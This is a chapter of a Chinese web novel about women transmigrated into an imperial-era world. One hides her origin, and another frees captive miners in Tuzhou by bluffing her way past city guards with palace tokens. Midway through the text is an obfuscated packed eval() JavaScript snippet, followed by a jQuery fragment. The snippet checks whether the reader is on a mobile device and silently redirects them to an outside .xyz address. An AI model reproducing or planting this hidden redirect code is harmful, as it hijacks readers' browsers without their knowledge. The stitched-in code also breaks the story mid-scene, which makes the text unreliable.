穿越之前,林观眼前最后的景象,是散了一地的蛋糕,以及要对她进行急救的人脸。
她在一个平常的午后,在惬意的周末,带着蛋糕失约。
醒来时,她已经是在逃亡的路上了。
她不知道自己为什么要逃,身体求生的本能令她奔跑。
——不要停下,不要被抓住。
心底的声音这么说道。
双腿像灌了铅一样沉重,呼吸声压着砰砰的心跳声不断提醒:身后那群男男女女要追上来了!
他们叫嚷着让她站住。
她当然不会乖乖听话。
山路崎岖,陌生而复杂的路线阻挡了去路,或许是求生的期望大过恐惧,某一瞬间,眼前复杂的山路骤然清晰,身体快速跟上指令跳进急流,顺着奔腾的水流,她终于从被拐卖的村庄里逃了出来。
在逃亡的日子里,她逐渐意识到自己身在另一个世界。因为理念不同,她没办法继续待在接济流民的队伍里,等着成为别人家的奴仆。
好心的游医收留了她,教她医术,但还没等她将专业所学与古老医术融合贯通,冀州的贵人就将游医抓了去。
游医将她藏得很好,直到两日后,她偶然翻出游医留下的药箱里的一封信,才知那个游医和她一样。
她们都是穿越者。
游医在信中说,不要暴露自己的身份,太多贵人在清除穿越者。游医被上一位穿越者救助过,所以她也救下了同为穿越者的林观。
林观不知道游医是怎样认出自己的,但她只能背着药箱,一边逃一边思索如何在这个陌生的地方活下去。
她辗转来到了涂州,遇见逃婚出来的堇娘。她们结伴同行,一起挨过打,一起从虎狼巢穴里逃出生天。
而现在,林观看着紧紧盯着自己的堇娘,以及探究的徐盈,一时不知该怎样解释。
直到马车碾过一道石子,颠簸间,她神思稍缓,沙哑的嗓音流出一丝真相,“我……有人教过我。”
马车内安静了一瞬。
三道目光停留在她身上,无声的质问、试探、惊讶似乎都在审判她的良心。
——不要暴露自己的身份。
游医的叮嘱悄然响起,林观不自觉抓紧衣角。
——如果不小心暴露了,还有最后一个办法,那就是拼尽全力扮成疯子,然后等待时机跑掉。
现在要开始疯吗?
她们会不会识破?
堇娘怎么办?会不会被扔下马车,还是被当成同样的穿越者被清除掉?
一时间闪过太多可能,林观正犹豫不决,旁边弯刀突然翻转,直奔徐盈而去。
“阿盈!”
花清词下意识要起身去挡,反被徐盈拽至身后。
咣当。
弯刀掉落,砸在了马车车板。
门外的车夫登时敲了敲门框。
徐盈漫不经心道:“没事,药洒了而已,继续赶路吧!”
马车顺从地驶动。
林观久久才回神,甚至都没看清徐盈是如何截下堇娘的弯刀的。她看着被徐盈反剪双手压倒的堇娘,泪水比话语先反应过来。
她扑在徐盈脚边,哀求:“徐小姐,我说!你放过堇娘吧!她什么都不知道!”
徐盈见她哭得伤心,便松开了钳制堇娘的手,很是惭愧道:“抱歉,我只是想确认,你是不是和我一样。”
林观扶起堇娘的手一顿,“什么?”
花清词疑惑地望着徐盈的背影,这又是套话的哪一环?
徐盈捡起那把弯刀递给堇娘,堇娘愤愤夺过。
对方戒备的动作并未引起徐盈的不满,她微微笑道:“我说,我和你一样,我们来自同一个地方。”
林观与堇娘对视一眼,看见了对方眼中的惊讶。
“你既然有自己的顾虑不能说明,我也不会再问你这件事了。只是铲平涂州祸事,需要你的帮忙。”徐盈将那份地图重新摊平,又看向堇娘,“当然,也需要堇娘的帮忙。”
林观见堇娘似乎并为因为自己隐瞒身份生气,便迟疑地点了下头。
花清词默默坐回去,等徐盈发话。
徐盈指着地图上的一个地名。
“那好,我们就先去拜访一下这位纪大善人。”
话音一落,堇娘皱眉道:“去见他做什么?”
徐盈看了一眼花清词,示意她将易容要用到的东西准备好,一边解释:“去杀鸡儆猴。”
她轻轻点了点地图上标注的矿场,问林观与堇娘,“你们是从这个矿场出来的吧?监管你们的人是纪家管家的儿子,叫……”
林观不假思索道:“纪钥。”
徐盈见她眼神坚定,便点头道:“那就从他开始。”
花清词拿着柳江白留下的那套行头,正要给离她最近的堇娘涂脸,堇娘下意识躲了一下,抬眼见花清词正笑眯眯举着一个小盒子凑过来,心下一软,放弃抵抗。
“你们叫我阿词就好。”花清词捧着堇娘的脸细细涂抹,遮去她脸上的伤疤便于画上新的痕迹,“等阿盈将恶霸清理干净,你们若是愿意,可以跟我们回凤曲城,正好凤曲城还缺些女医。若是不愿意走那么远,旁边的利州也有珠玉台的生意,铺子不大,但也绝不会叫你们饿肚子。”
林观暗暗思忖,珠玉台应该是珠宝首饰铺子,对面两个姑娘一开始便说来做生意,想必是真的来做珠宝奇石生意。
可这个阿词姑娘如此笃定徐家小姐能摆平一切,林观想起上车前徐盈神不知鬼不觉拿走了她的藏药的小包袱,还试探她的来历,她不自觉多看了已经在闭目养神的徐盈两眼。
她的能力是过目不忘,那这个徐盈的能力呢?
她有心想问,可碍于车内还有两个不知情的人,也不好打扰对方休息,便掩下思绪,只道:“你们不是来涂州做生意的吗?”
花清词道:“涂州祸事一了,依附于纪家和那些乡绅的鼠辈,定不会轻易将采石运石的权力让出去,我会留下来同他们商议一番,等掌控货源,我再回凤曲城。”
堇娘下意识看向徐盈,问的却是花清词,“就只有你留下来吗?”
花清词笑道:“阿盈会暗中帮我的。”
林观与堇娘对视一眼,暗中?
徐盈暗中做的事很多,穿风刃的消息够快且准,但要穿过满是涂州军和那些地头蛇的封锁线,将矿场里被关的人有条不紊地放出来,安置在合适的地方避免暴动踩踏,还是个棘手的问题。
在林观和堇娘换好衣服,完全易容成另外的面孔后,马车也逐渐停了下来。
斜阳悬空,红霞犹如张开翅膀的玄鸟。
涂州城外,盘查进出城行人的涂州军,见远远驶来一个奢华宽敞的双马并驾马车,心中暗暗称奇。
来涂州做生意的商队也好,出城游玩回来的知府家眷也罢,他们都认识那些车驾,却从未见过眼前满是玉石镶嵌的马车,旁边还只有个骑马的女子护卫左右。
连纪家也不曾把钱挂在马车外,敢如此招摇过市。
可这么招摇的马车来涂州,竟然能平安顺畅,还毫发无损,瞭望台与驿站居然也没有传来与此人有关的任何消息!
这到底是什么人?
领头的一个涂州军一边让人回城通报,一边上前几步,恭敬地问那骑马的女子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978088|161441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“敢问尊驾是哪一家的女眷?”
对方招摇奢侈,非富即贵,万事先敬罗衣准没错。
薛嫖不由得挑眉,“哪一家?”
她指了指车窗上悬着的牌子,“这个不认识?”
男子顺势望去,见那镶金的牌子上只有个“盈”字,他绞尽脑汁也无法对上与涂州来往密切的贵人女眷里,有这么一尊天神,便疑心是什么上不得台面的人装神弄鬼,语气不善道:“既然报不出名号,总该有路引吧?”
薛嫖听出他话里的轻慢,冷笑道:“怎么涂州现在盘查让进城的人,只能报你认得的那几家吗?”
那人正要找借口将她们扣下,却听薛嫖压低声音道:“宫中办事,你胆敢阻拦!”
说罢,薛嫖不紧不慢地拿出一块黄金令牌。
男子只瞧了一眼,那上面刻着的“凤”字几乎将他的天灵盖瞬间击中。
宫中有谁能用这个令牌,已经不言而喻。
不是便于出宫的轩辕令,而是见令牌如见本尊亲临的黄金令!
他立刻跪拜,惊恐地压低声音道:“臣有眼无珠,惊扰凤驾降临,还望恕罪!”
薛嫖若无其事地收起令牌,并未说话,因为这人识相地朝马车跪下,问的也不是自己。
并驾的双马轻蔑地打了个响鼻,马车内的人沉默不语,无声的压迫令他背后的衣襟湿透。
他知道城门盘查的其他涂州军面色不解地望着自己,却也无法立刻解释。
此人携黄金令秘密而来,必然是替中宫办不可声张的事,若他出言坏了贵人的事,脑袋不保不说,恐怕还祸及家人。
良久,马车内一道清冷的女声传来,“窦仲山。”
窦仲山一愣,无暇思索对方如何知晓自己的名字,下意识伏低背脊听令。
“日落前,把九溪矿场腾干净,你来接管。”
窦仲山伏在地上犹豫,“可卫将军……”
清冷的声音似乎裹着几分杀意,“敢抗旨,看来你已经姓卫了。”
窦仲山心跳如鼓。
涂州军被卫将军的人分管后,他虽心有不甘,可家中妻儿老小皆在涂州和那些人的眼皮底下,他不得不从。
知州与监军早已屈服于那位卫将军的威慑,令他们严守涂州外来的朝廷兵马,但中宫出来的人除外。
听那些将军传言,中宫那位似乎已经偏向卫将军了。
现在这位贵人的语气,竟然有责怪他归属卫将军的意思。
窦仲山识时务地俯首再拜,“臣不敢,只是臣手无实权,恐怕……”
咣当。
沉甸甸的物件被扔在他面前,被溅起的碎石崩在身上,又顺着他的衣服滚下。
窦仲山不敢抬头去看,那道清冷的声音紧跟着落下。
“先用着,来日涂州都监是谁,你自己把握。”
说罢,并驾的双马缓缓带着那份沉重的指令进城,奇怪的是,城门口盘查的涂州军竟无一人敢阻拦。
良久,窦仲山抬头,看见眼前躺着的那块令牌。
——龙首铜令。
这是西厥卫将军卫嘉的调军令,那位贵人怎么会有?
她到底是谁的人?
涂州军刚刚放她进去,是因为看到了类似的令牌吗?
这些问题他来不及捋清楚,手上的铜令似乎比他身上的铠甲还要重。
指令已经下达,他要拿着龙首铜令,去接管九溪矿场吗?
接管后,那些被抓来的流民是放是关,安置在何处,真的是他能决定的吗?
窦仲山握着铜令,沉重地看着矿场方向。
他此生绝不姓卫。